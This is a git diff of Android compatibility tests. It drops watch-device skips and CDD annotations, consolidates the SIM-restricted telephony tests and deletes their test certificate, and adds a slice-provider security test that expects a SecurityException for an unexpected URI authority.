diff --git a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
index ae17b46..8a655cd 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
@@ -16,8 +16,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeFalse;
-import android.content.pm.PackageManager;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
@@ -56,12 +54,9 @@
     private static final Uri BASE_URI = Uri.parse("content://android.slice.cts/");
     private final Context mContext = InstrumentationRegistry.getContext();
     private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
-    private static final String FEATURE_WATCH = "android.hardware.type.watch";
-    private final boolean isWatch = mContext.getPackageManager().hasSystemFeature(FEATURE_WATCH);
 
     @Test
     public void testProcess() {
-        assumeFalse(isWatch);
         sFlag = false;
         mSliceManager.bindSlice(BASE_URI.buildUpon().appendPath("set_flag").build(),
                 Collections.emptySet());
@@ -76,7 +71,6 @@
 
     @Test
     public void testSliceUri() {
-        assumeFalse(isWatch);
         Slice s = mSliceManager.bindSlice(BASE_URI,
                 Collections.emptySet());
         assertEquals(BASE_URI, s.getUri());
@@ -84,7 +78,6 @@
 
     @Test
     public void testSubSlice() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("subslice").build();
         Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
         assertEquals(uri, s.getUri());
@@ -100,7 +93,6 @@
 
     @Test
     public void testText() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("text").build();
         Slice s = mSliceManager.bindSlice(uri,
                 Collections.emptySet());
@@ -115,7 +107,6 @@
 
     @Test
     public void testIcon() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("icon").build();
         Slice s = mSliceManager.bindSlice(uri,
                 Collections.emptySet());
@@ -130,7 +121,6 @@
 
     @Test
     public void testAction() {
-        assumeFalse(isWatch);
         sFlag = false;
         CountDownLatch latch = new CountDownLatch(1);
         BroadcastReceiver receiver = new BroadcastReceiver() {
@@ -165,7 +155,6 @@
 
     @Test
     public void testInt() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("int").build();
         Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
         assertEquals(uri, s.getUri());
@@ -178,7 +167,6 @@
 
     @Test
     public void testTimestamp() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("timestamp").build();
         Slice s = mSliceManager.bindSlice(uri,
                 Collections.emptySet());
@@ -192,7 +180,6 @@
 
     @Test
     public void testHints() {
-        assumeFalse(isWatch);
         // Note this tests that hints are propagated through to the client but not that any specific
         // hints have any effects.
         Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
@@ -207,7 +194,6 @@
 
     @Test
     public void testHasHints() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("hints").build();
         Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
 
@@ -217,7 +203,6 @@
 
     @Test
     public void testBundle() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("bundle").build();
         Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
         assertEquals(uri, s.getUri());
@@ -232,7 +217,6 @@
 
     @Test
     public void testGetDescendants() {
-        assumeFalse(isWatch);
         Collection<Uri> allUris = mSliceManager.getSliceDescendants(BASE_URI);
         assertEquals(SliceProvider.PATHS.length, allUris.size());
         Iterator<Uri> it = allUris.iterator();
@@ -246,7 +230,6 @@
 
     @Test
     public void testGetSliceSpec() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon().appendPath("spec").build();
         Slice s = mSliceManager.bindSlice(uri, Collections.emptySet());
         assertEquals(new SliceSpec(SliceProvider.SPEC_TYPE, SliceProvider.SPEC_REV), s.getSpec());
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 37ced3d..69d8d80 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -16,8 +16,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import android.content.pm.PackageManager;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
@@ -56,12 +54,9 @@
     private static final Uri BASE_URI = Uri.parse("content://android.slice.cts.local/main");
     private final Context mContext = InstrumentationRegistry.getContext();
     private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
-    private static final String FEATURE_WATCH = "android.hardware.type.watch";
-    private final boolean isWatch = mContext.getPackageManager().hasSystemFeature(FEATURE_WATCH);
 
     @Before
     public void setup() {
-        assumeFalse(isWatch);
         LocalSliceProvider.sProxy = mock(SliceProvider.class);
         try {
             mSliceManager.unpinSlice(BASE_URI);
@@ -71,9 +66,6 @@
 
     @After
     public void teardown() throws Exception {
-       if (isWatch) {
-            return;
-        }
         try {
             mSliceManager.unpinSlice(BASE_URI);
         } catch (Exception e) {
@@ -82,7 +74,6 @@
 
     @Test
     public void testPinSlice() throws Exception {
-        assumeFalse(isWatch);
         mSliceManager.pinSlice(BASE_URI, Collections.emptySet());
 
         verify(LocalSliceProvider.sProxy, timeout(2000)).onSlicePinned(eq(BASE_URI));
@@ -90,7 +81,6 @@
 
     @Test
     public void testUnpinSlice() throws Exception {
-        assumeFalse(isWatch);
         mSliceManager.pinSlice(BASE_URI, Collections.emptySet());
 
         verify(LocalSliceProvider.sProxy, timeout(2000)).onSlicePinned(eq(BASE_URI));
@@ -102,7 +92,6 @@
 
     @Test
     public void testPinList() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI;
         Uri longerUri = uri.buildUpon().appendPath("something").build();
         try {
@@ -122,7 +111,6 @@
 
     @Test
     public void testMapIntentToUri() {
-        assumeFalse(isWatch);
         Intent intent = new Intent("android.slice.cts.action.TEST_ACTION");
         intent.setPackage("android.slice.cts");
         intent.putExtra("path", "intent");
@@ -139,7 +127,6 @@
 
     @Test
     public void testOnCreatePermissionSlice() {
-        assumeFalse(isWatch);
         LocalSliceProvider.sAnswer = invocation -> {
             throw new SecurityException("No slices allowed");
         };
diff --git a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
index 15ffab3..5081943 100644
--- a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
@@ -18,8 +18,6 @@
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assume.assumeFalse;
-import android.content.pm.PackageManager;
 
 import android.app.slice.SliceManager;
 import android.content.Context;
@@ -44,12 +42,9 @@
     private int mTestUid;
     private int mTestPid;
     private SliceManager mSliceManager;
-    private static final String FEATURE_WATCH = "android.hardware.type.watch";
-    private final boolean isWatch = mContext.getPackageManager().hasSystemFeature(FEATURE_WATCH);
 
     @Before
     public void setup() throws NameNotFoundException {
-        assumeFalse(isWatch);
         mSliceManager = mContext.getSystemService(SliceManager.class);
         mTestPkg = mContext.getPackageName();
         mTestUid = mContext.getPackageManager().getPackageUid(mTestPkg, 0);
@@ -58,15 +53,11 @@
 
     @After
     public void tearDown() {
-        if (isWatch) {
-            return;
-        }
         mSliceManager.revokeSlicePermission(mTestPkg, BASE_URI);
     }
 
     @Test
     public void testGrant() {
-        assumeFalse(isWatch);
         assertEquals(PERMISSION_DENIED,
                 mSliceManager.checkSlicePermission(BASE_URI, mTestPid, mTestUid));
 
@@ -78,7 +69,6 @@
 
     @Test
     public void testGrantParent() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon()
                 .appendPath("something")
                 .build();
@@ -94,7 +84,6 @@
 
     @Test
     public void testGrantParentExpands() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon()
                 .appendPath("something")
                 .build();
@@ -121,7 +110,6 @@
 
     @Test
     public void testGrantChild() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon()
                 .appendPath("something")
                 .build();
@@ -138,7 +126,6 @@
 
     @Test
     public void testRevoke() {
-        assumeFalse(isWatch);
         assertEquals(PERMISSION_DENIED,
                 mSliceManager.checkSlicePermission(BASE_URI, mTestPid, mTestUid));
 
@@ -155,7 +142,6 @@
 
     @Test
     public void testRevokeParent() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon()
                 .appendPath("something")
                 .build();
@@ -176,7 +162,6 @@
 
     @Test
     public void testRevokeChild() {
-        assumeFalse(isWatch);
         Uri uri = BASE_URI.buildUpon()
                 .appendPath("something")
                 .build();
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
new file mode 100644
index 0000000..98f905a
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.android.collect.Lists;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceProviderTest {
+
+    private static final String VALID_AUTHORITY = "android.slice.cts";
+    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
+    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
+    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
+    private static final String VALID_ACTION_URI_STRING =
+            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
+    private static final String SHADY_ACTION_URI_STRING =
+            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
+
+    @Rule
+    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
+
+    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
+    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
+    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
+
+    private ContentResolver mContentResolver;
+
+    @Before
+    public void setUp() {
+        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-11-01")
+    public void testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri);
+    }
+
+    @Test(expected = SecurityException.class)
+    @SecurityTest(minPatchLevel = "2019-11-01")
+    public void testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri);
+    }
+
+    private Slice doQuery(Uri actionUri) {
+        Bundle extras = new Bundle();
+        extras.putParcelable("slice_uri", actionUri);
+        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
+                    new SliceSpec("androidx.slice.LIST", 1),
+                    new SliceSpec("androidx.app.slice.BASIC", 1),
+                    new SliceSpec("androidx.slice.BASIC", 1),
+                    new SliceSpec("androidx.app.slice.LIST", 1)
+            ));
+        Bundle result = mContentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        );
+        return result.getParcelable(SliceProvider.EXTRA_SLICE);
+    }
+
+}
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 16b8998..c68aaf1 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules compatibility-device-util-axt
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index 941fef7..f6911b3 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -29,8 +29,6 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CddTest;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -83,7 +81,6 @@
                     new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS))
     };
 
-    @CddTest(requirement="3.8.3.3/C-1-1,3.2.3.5/C-1-1,7.4.7/C-1-2,C-2-3,6.2/C-0-1")
     @Test
     public void testSystemIntents() {
         final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 1f7e816..5b519b2 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -29,8 +29,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner-axt \
     androidx.test.rules \
-    ub-uiautomator \
-    compatibility-device-util-axt
+    ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index f603c5f..831c4de 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -40,8 +40,6 @@
 import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * Test for light status bar.
  *
@@ -59,6 +57,7 @@
      * margin to accommodate for that when comparing colors.
      */
     private static final int COLOR_COMPONENT_ERROR_MARGIN = 20;
+
     private final String NOTIFICATION_TAG = "TEST_TAG";
     private final String NOTIFICATION_CHANNEL_ID = "test_channel";
     private final String NOTIFICATION_GROUP_KEY = "test_group";
@@ -70,7 +69,6 @@
     @Rule
     public TestName mTestName = new TestName();
 
-    @CddTest(requirement="3.8.6/C-2-2")
     @Test
     @AppModeFull // Instant apps cannot create notifications
     public void testLightStatusBarIcons() throws Throwable {
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 2d60870..954112b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -34,8 +34,6 @@
 import android.telecom.VideoProfile;
 import android.telephony.TelephonyManager;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.List;
 
 /**
@@ -376,7 +374,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-3")
     public void testIncomingCallFromBlockedNumber_IsRejected() throws Exception {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
index fba31a0..8163520 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomAvailabilityTest.java
@@ -29,8 +29,6 @@
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.ArrayList;
 import java.util.List;
 
@@ -101,7 +99,6 @@
                 telephonyMatches);
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-6")
     public void testTelecomCanManageBlockedNumbers() {
         if (!shouldTestTelecom(mContext)) {
             return;
diff --git a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
index e1854cc..f6b30d8 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -50,12 +50,7 @@
     }
 
     private boolean isSimCardPresent() {
-        return mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE &&
-                mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
-    }
-
-    private boolean isSimCardAbsent() {
-        return mTelephonyManager.getSimState() == TelephonyManager.SIM_STATE_ABSENT;
+        return mTelephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT;
     }
 
     private void checkConfig(PersistableBundle config) {
@@ -64,7 +59,7 @@
             return;
         }
         assertNotNull("CarrierConfigManager should not return null config", config);
-        if (isSimCardAbsent()) {
+        if (!isSimCardPresent()) {
             // Static default in CarrierConfigManager will be returned when no sim card present.
             assertEquals("Config doesn't match static default.",
                     config.getBoolean(CarrierConfigManager.KEY_ADDITIONAL_CALL_SETTING_BOOL), true);
diff --git a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
similarity index 82%
rename from tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
rename to tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
index dd56952..b15a4e8 100644
--- a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SimRestrictedApisTest.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.telephony4.cts;
+package android.telephony.cts;
 
 import android.content.Context;
 import android.telephony.SmsManager;
@@ -67,6 +67,21 @@
     }
 
     /**
+     * Tests the TelephonyManager.setLine1NumberForDisplay(long, string, string) API. This makes a
+     * call to setLine1NumberForDisplay() API and expects a SecurityException since the test apk is
+     * not signed by the certificate on the SIM.
+     */
+    public void testSetLine1NumberForDisplay2() {
+        try {
+            if (isSimCardPresent()) {
+                TelephonyManager.getDefault().setLine1NumberForDisplay(0, "", "");
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
      * Tests the TelephonyManager.iccOpenLogicalChannel() API. This makes a call to
      * iccOpenLogicalChannel() API and expects a SecurityException since the test apk is not signed
      * by certificate on the SIM.
@@ -74,8 +89,7 @@
     public void testIccOpenLogicalChannel() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccCloseLogicalChannel(
-                        TelephonyManager.getDefault().iccOpenLogicalChannel("").getChannel());
+                TelephonyManager.getDefault().iccOpenLogicalChannel("");
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -157,13 +171,41 @@
     }
 
     /**
+     * Tests the TelephonyManager.nvWriteItem() API. This makes a call to nvWriteItem() API and
+     * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
+     */
+    public void testNvWriteItem() {
+        try {
+            if (isSimCardPresent()) {
+                TelephonyManager.getDefault().nvWriteItem(0, "");
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests the TelephonyManager.nvWriteCdmaPrl() API. This makes a call to nvWriteCdmaPrl() API
+     * and expects a SecurityException since the test apk is not signed by a certificate on the SIM.
+     */
+    public void testNvWriteCdmaPrl() {
+        try {
+            if (isSimCardPresent()) {
+                TelephonyManager.getDefault().nvWriteCdmaPrl(null);
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
      * Tests the TelephonyManager.nvResetConfig() API. This makes a call to nvResetConfig() API and
      * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
      */
     public void testNvResetConfig() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().nvResetConfig(1);
+                TelephonyManager.getDefault().nvResetConfig(0);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -204,7 +246,7 @@
      * Tests that the test apk doesn't have carrier previliges.
      */
     public void testHasCarrierPrivileges() {
-        if (mTelephonyManager.hasCarrierPrivileges()) {
+        if (TelephonyManager.getDefault().hasCarrierPrivileges()) {
             fail("App unexpectedly has carrier privileges");
         }
     }
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index 7b1797d..b7acf8e 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -125,21 +125,25 @@
     }
 
     /**
-     * Sanity check that the device has a cellular network and a valid default data subId
-     * when {@link PackageManager#FEATURE_TELEPHONY} support.
+     * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
+     * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
+     * either defined or undefined; you can't cross the streams.
      */
     @Test
     public void testSanity() throws Exception {
-        if (!isSupported()) return;
-
         final boolean hasCellular = findCellularNetwork() != null;
-        if (!hasCellular) {
+        if (isSupported() && !hasCellular) {
             fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
                     + " but has no active cellular network, which is required for validation");
+        } else if (!isSupported() && hasCellular) {
+            fail("Device has active cellular network, but claims to not support "
+                    + PackageManager.FEATURE_TELEPHONY);
         }
 
-        if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            fail("Device must have a valid default data subId for validation");
+        if (isSupported()) {
+            if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+                fail("Device must have a valid default data subId for validation");
+            }
         }
     }
 
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index c61bcf7..0eabad7 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -92,9 +92,8 @@
 
     @Test
     public void testListen() throws Throwable {
-        if (!InstrumentationRegistry.getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
-            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
             return;
         }
 
@@ -187,9 +186,7 @@
         }
 
         // Make sure devices without MMS service won't fail on this
-        if (InstrumentationRegistry.getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
-                && (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE)) {
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE) {
             assertFalse(mTelephonyManager.getMmsUserAgent().isEmpty());
             assertFalse(mTelephonyManager.getMmsUAProfUrl().isEmpty());
         }
@@ -264,6 +261,7 @@
                 assertTrue("Phone count should be > 0", phoneCount > 0);
                 break;
             case TelephonyManager.PHONE_TYPE_NONE:
+                assertTrue("Phone count should be 0", phoneCount == 0 || phoneCount == 1);
                 break;
             default:
                 throw new IllegalArgumentException("Did you add a new phone type? " + phoneType);
diff --git a/tests/tests/telephony4/Android.mk b/tests/tests/telephony4/Android.mk
deleted file mode 100644
index 6f36b53..0000000
--- a/tests/tests/telephony4/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := telephony-common \
-    android.test.runner.stubs \
-    android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    truth-prebuilt
-
-LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSimRestrictedApisTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CERTIFICATE := cts/tests/tests/telephony4/certs/android_telephony_cts_testkey
-
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8 b/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8
deleted file mode 100644
index f83d5ed..0000000
--- a/tests/tests/telephony4/certs/android_telephony_cts_testkey.pk8
+++ /dev/null
Binary files differ
diff --git a/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem b/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem
deleted file mode 100644
index 29ffd6a..0000000
--- a/tests/tests/telephony4/certs/android_telephony_cts_testkey.x509.pem
+++ /dev/null
@@ -1,30 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIF9TCCA92gAwIBAgIVAIja2SQYIM1wfIrwgObEUdBk/MfkMA0GCSqGSIb3DQEBCwUAMIGKMQsw
-CQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEU
-MBIGA1UEChMLR29vZ2xlIEluYy4xEDAOBgNVBAsTB0FuZHJvaWQxJjAkBgNVBAMMHWFuZHJvaWRf
-dGVsZXBob255X2N0c190ZXN0a2V5MB4XDTE5MDExMTE5MzMwM1oXDTQ5MDExMTE5MzMwM1owgYox
-CzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3
-MRQwEgYDVQQKEwtHb29nbGUgSW5jLjEQMA4GA1UECxMHQW5kcm9pZDEmMCQGA1UEAwwdYW5kcm9p
-ZF90ZWxlcGhvbnlfY3RzX3Rlc3RrZXkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9
-IXCTl7o3J6gy5YleQRFm5Xahth5hwpC7b/cfZiSW25AqNLZRcZJZDwYiJIpqOu773Hr5fEZMV5c1
-tYivwdwKnoGlWiqrpvwafIQxsAPtKoiSsB6r6Zx4hZBDzf5M+PRi3ieUrPrwaiGeVy1n4nPhcpHy
-bzE2G+ZkfzxRYRmmObi8+UC4lkI2dL1Y17hjNmWpeJrfhvl67K2gMmAtwjW2UxhyOcACg8Mya1eA
-VyqQgiEfMb52FK1opshHnGpIcLjY7UT1IesOZpWu3OWqiOw/KCU+nJaEemYFYceGR14RGfKk9r1N
-hcRhZLXPfZHr9TPsJ/O/oKrF3Q+TxoUJIhQ3lcYREftrqMZNDUUANENnfd1Bviu2atschG5Ohchk
-MiuKDadMl++LOkfGjoTikQXUHGxb4GIfgLJDmkp6+Andc2iZ2pRPm6zQmHXWmcwtz3RvyGtK0oYJ
-xwpVy0InE/Ao1sH8LrYvBPWKDVHbG2v+ydYYrx39ScBLgXQ4gxmTNU8+YX3zXVaGWMPuVP2GfyBl
-O+fl27RZO/XZlC28TQEMAvytSyeTs4blubRlLgcf9wAv774a797g7uSRSZ+8aqumatPrtZnhBojU
-2U4zuQilE5JGIIvM5ZGWUNMMkY5bB4bnw36oSK7kup8dyLlT7Jgfpc5RuzYPKzU+OcH/k0SeZwID
-AQABo1AwTjAMBgNVHRMEBTADAQH/MB0GA1UdDgQWBBR4+8+XqYU6x7dqy/fwqz5eG2TQIjAfBgNV
-HSMEGDAWgBR4+8+XqYU6x7dqy/fwqz5eG2TQIjANBgkqhkiG9w0BAQsFAAOCAgEAaxTiY0j+Xgig
-WnsfqJRCV7Qn6LFhCyS2zc96g+m0CkiPLW83BFkVND9JaAUVw3GIUKDEtZkUy3v5L4//QmfdYIbH
-IBX5d/GJAVkH4MRFb47Mr2qu6t33eNiDaRzJe5WIQ+3qI1P0/2ihqKOAEC8OSWQWzY8eWB9O4vKp
